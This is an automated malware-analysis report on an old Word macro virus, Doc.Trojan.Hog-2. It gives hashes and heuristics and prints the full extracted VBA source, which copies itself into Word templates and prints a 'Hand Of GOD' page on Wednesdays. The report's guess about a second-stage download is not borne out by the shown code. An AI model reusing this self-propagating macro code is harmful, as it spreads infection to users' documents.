Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7f5f8ff5a3a5aee…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-06-09 01:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b1416950ca0ed4f9c8d829d9ad179ded SHA-1: f98f139fd24a682935bfbe26222715375e092b30 SHA-256: b7f5f8ff5a3a5aee5cc0fd87f590f140690bf2514f2817e93c52d25b6322327b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for Doc.Trojan.Hog-2 and fires heuristics for legacy WordBasic and VBA macros, including an AutoOpen macro. The AutoOpen macro attempts to copy itself to the Normal template, active document, and attached template, and conditionally prints a document with the text 'Hand Of GOD' if the current day is Wednesday. This behavior suggests the macro is designed to establish persistence or prepare for further malicious execution, likely by downloading a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Hog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hog-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1977 bytes
SHA-256: 49452508b7e54d4092cd7de3345f706ed9ebc3e79f3c33fefde4848eb7a2bd4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoNew"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)



Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
  
    mac$ = MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Name
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
        
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    NormalTemplate.Save

End Sub


Attribute VB_Name = "AutoOpen"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)


Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
    
    If WeekDay(Now()) = vbWednesday Then
        With ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range
            .Font.Size = 12
            .ParagraphFormat.Alignment = wdAlignParagraphCenter
            .Text = "Hand Of GOD"
        End With
        ActiveDocument.PrintOut
    End If
    
cnt = WordBasic.countmacros(0)
    
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"


End Sub

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